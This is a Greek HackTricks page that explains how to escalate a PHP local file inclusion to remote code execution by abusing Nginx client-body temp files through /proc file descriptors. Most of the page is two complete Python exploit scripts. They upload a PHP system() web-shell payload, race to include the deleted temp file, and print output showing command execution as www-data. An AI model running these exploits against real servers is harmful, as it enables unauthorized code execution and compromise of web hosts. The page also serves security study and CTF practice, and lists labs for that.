mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
319 lines
15 KiB
Markdown
319 lines
15 KiB
Markdown
# LFI2RCE μέσω αρχείων προσωρινών αρχείων Nginx
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||
|
||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||
|
||
</details>
|
||
|
||
### [WhiteIntel](https://whiteintel.io)
|
||
|
||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
|
||
|
||
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
|
||
|
||
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
|
||
|
||
{% embed url="https://whiteintel.io" %}
|
||
|
||
---
|
||
|
||
## Ευάλωτη διαμόρφωση
|
||
|
||
**[Παράδειγμα από https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)**
|
||
|
||
* Κώδικας PHP:
|
||
````h`
|
||
<?php include_once($_GET['file']);
|
||
```
|
||
* FPM / PHP ρύθμιση:
|
||
```
|
||
...
|
||
php_admin_value[session.upload_progress.enabled] = 0
|
||
php_admin_value[file_uploads] = 0
|
||
...
|
||
```
|
||
* Ρύθμιση / ενίσχυση:
|
||
```bash
|
||
...
|
||
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
|
||
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
|
||
...
|
||
```
|
||
Ευτυχώς, η PHP συχνά χρησιμοποιείται μέσω PHP-FPM και Nginx. Το Nginx προσφέρει μια εύκολα παραβλεπόμενη [λειτουργία buffering σώματος πελάτη](https://nginx.org/en/docs/http/ngx\_http\_core\_module.html#client\_body\_buffer\_size) που θα γράψει προσωρινά αρχεία εάν το σώμα του πελάτη (δεν περιορίζεται σε αναρτήσεις) είναι μεγαλύτερο από ένα συγκεκριμένο όριο.
|
||
|
||
Αυτή η λειτουργία επιτρέπει στα LFIs να εκμεταλλευτούνται χωρίς καμία άλλη δυνατότητα δημιουργίας αρχείων, εάν το Nginx τρέχει με τον ίδιο χρήστη με την PHP (πολύ συχνά γίνεται ως www-data).
|
||
|
||
Σχετικός κώδικας Nginx:
|
||
```c
|
||
ngx_fd_t
|
||
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
|
||
{
|
||
ngx_fd_t fd;
|
||
|
||
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
|
||
access ? access : 0600);
|
||
|
||
if (fd != -1 && !persistent) {
|
||
(void) unlink((const char *) name);
|
||
}
|
||
|
||
return fd;
|
||
}
|
||
```
|
||
Είναι ορατό ότι το **tempfile διαγράφεται αμέσως** μετά το άνοιγμά του από το Nginx. Ευτυχώς, το **procfs μπορεί να χρησιμοποιηθεί για να αποκτηθεί ακόμα μια αναφορά** στο διαγεγραμμένο αρχείο μέσω ενός αγώνα:
|
||
```
|
||
...
|
||
/proc/34/fd:
|
||
total 0
|
||
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
|
||
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
|
||
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
|
||
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
|
||
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
|
||
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
|
||
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
|
||
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
|
||
...
|
||
```
|
||
Σημείωση: Δεν είναι δυνατή η άμεση συμπερίληψη του `/proc/34/fd/15` σε αυτό το παράδειγμα, καθώς η λειτουργία `include` του PHP θα αναλύσει τη διαδρομή σε `/var/lib/nginx/body/0000001368 (deleted)` η οποία δεν υπάρχει στο σύστημα αρχείων. Αυτό το μικρό περιορισμό μπορεί ευτυχώς να παρακαμφθεί με κάποια έμμεση μέθοδο όπως: `/proc/self/fd/34/../../../34/fd/15` το οποίο τελικά θα εκτελέσει το περιεχόμενο του διαγεγραμμένου αρχείου `/var/lib/nginx/body/0000001368`.
|
||
|
||
## Πλήρης Εκμετάλλευση
|
||
```python
|
||
#!/usr/bin/env python3
|
||
import sys, threading, requests
|
||
|
||
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
|
||
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
|
||
|
||
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
|
||
|
||
# find nginx worker processes
|
||
r = requests.get(URL, params={
|
||
'file': '/proc/cpuinfo'
|
||
})
|
||
cpus = r.text.count('processor')
|
||
|
||
r = requests.get(URL, params={
|
||
'file': '/proc/sys/kernel/pid_max'
|
||
})
|
||
pid_max = int(r.text)
|
||
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
|
||
|
||
nginx_workers = []
|
||
for pid in range(pid_max):
|
||
r = requests.get(URL, params={
|
||
'file': f'/proc/{pid}/cmdline'
|
||
})
|
||
|
||
if b'nginx: worker process' in r.content:
|
||
print(f'[*] nginx worker found: {pid}')
|
||
|
||
nginx_workers.append(pid)
|
||
if len(nginx_workers) >= cpus:
|
||
break
|
||
|
||
done = False
|
||
|
||
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
|
||
def uploader():
|
||
print('[+] starting uploader')
|
||
while not done:
|
||
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
|
||
|
||
for _ in range(16):
|
||
t = threading.Thread(target=uploader)
|
||
t.start()
|
||
|
||
# brute force nginx's fds to include body files via procfs
|
||
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
|
||
def bruter(pid):
|
||
global done
|
||
|
||
while not done:
|
||
print(f'[+] brute loop restarted: {pid}')
|
||
for fd in range(4, 32):
|
||
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
|
||
r = requests.get(URL, params={
|
||
'file': f,
|
||
'c': f'id'
|
||
})
|
||
if r.text:
|
||
print(f'[!] {f}: {r.text}')
|
||
done = True
|
||
exit()
|
||
|
||
for pid in nginx_workers:
|
||
a = threading.Thread(target=bruter, args=(pid, ))
|
||
a.start()
|
||
```
|
||
Έξοδος:
|
||
```
|
||
$ ./pwn.py 127.0.0.1 1337
|
||
[*] cpus: 2; pid_max: 32768
|
||
[*] nginx worker found: 33
|
||
[*] nginx worker found: 34
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] starting uploader
|
||
[+] brute loop restarted: 33
|
||
[+] brute loop restarted: 34
|
||
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||
```
|
||
### Άλλη εκμετάλλευση
|
||
|
||
Αυτό προέρχεται από [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/)
|
||
```python
|
||
import requests
|
||
import threading
|
||
import multiprocessing
|
||
import threading
|
||
import random
|
||
|
||
SERVER = "http://localhost:8088"
|
||
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
|
||
# Set the following to True to use the above set of PIDs instead of scanning:
|
||
USE_NGINX_PIDS_CACHE = False
|
||
|
||
def create_requests_session():
|
||
session = requests.Session()
|
||
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
|
||
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
|
||
session.mount('http://', adapter)
|
||
return session
|
||
|
||
def get_nginx_pids(requests_session):
|
||
if USE_NGINX_PIDS_CACHE:
|
||
return NGINX_PIDS_CACHE
|
||
nginx_pids = set()
|
||
# Scan up to PID 200
|
||
for i in range(1, 200):
|
||
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
|
||
if cmdline.startswith("nginx: worker process"):
|
||
nginx_pids.add(i)
|
||
return nginx_pids
|
||
|
||
def send_payload(requests_session, body_size=1024000):
|
||
try:
|
||
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
|
||
payload = '<?php system("/readflag"); ?> //'
|
||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||
except:
|
||
pass
|
||
|
||
def send_payload_worker(requests_session):
|
||
while True:
|
||
send_payload(requests_session)
|
||
|
||
def send_payload_multiprocess(requests_session):
|
||
# Use all CPUs to send the payload as request body for Nginx
|
||
for _ in range(multiprocessing.cpu_count()):
|
||
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
|
||
p.start()
|
||
|
||
def generate_random_path_prefix(nginx_pids):
|
||
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
|
||
path = ""
|
||
component_num = random.randint(0, 10)
|
||
for _ in range(component_num):
|
||
pid = random.choice(nginx_pids)
|
||
if random.randint(0, 1) == 0:
|
||
path += f"/proc/{pid}/cwd"
|
||
else:
|
||
path += f"/proc/{pid}/root"
|
||
return path
|
||
|
||
def read_file(requests_session, nginx_pid, fd, nginx_pids):
|
||
nginx_pid_list = list(nginx_pids)
|
||
while True:
|
||
path = generate_random_path_prefix(nginx_pid_list)
|
||
path += f"/proc/{nginx_pid}/fd/{fd}"
|
||
try:
|
||
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
|
||
except:
|
||
continue
|
||
# Flags are formatted as hxp{<flag>}
|
||
if "hxp" in d:
|
||
print("Found flag! ")
|
||
print(d)
|
||
|
||
def read_file_worker(requests_session, nginx_pid, nginx_pids):
|
||
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
|
||
for fd in range(10, 45):
|
||
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
|
||
thread.start()
|
||
|
||
def read_file_multiprocess(requests_session, nginx_pids):
|
||
for nginx_pid in nginx_pids:
|
||
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
|
||
p.start()
|
||
|
||
if __name__ == "__main__":
|
||
print('[DEBUG] Creating requests session')
|
||
requests_session = create_requests_session()
|
||
print('[DEBUG] Getting Nginx pids')
|
||
nginx_pids = get_nginx_pids(requests_session)
|
||
print(f'[DEBUG] Nginx pids: {nginx_pids}')
|
||
print('[DEBUG] Starting payload sending')
|
||
send_payload_multiprocess(requests_session)
|
||
print('[DEBUG] Starting fd readers')
|
||
read_file_multiprocess(requests_session, nginx_pids)
|
||
```
|
||
## Εργαστήρια
|
||
|
||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
||
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
||
|
||
## Αναφορές
|
||
|
||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||
|
||
### [WhiteIntel](https://whiteintel.io)
|
||
|
||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
|
||
|
||
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αρπαγών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
|
||
|
||
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
|
||
|
||
{% embed url="https://whiteintel.io" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||
|
||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
|
||
|
||
</details>
|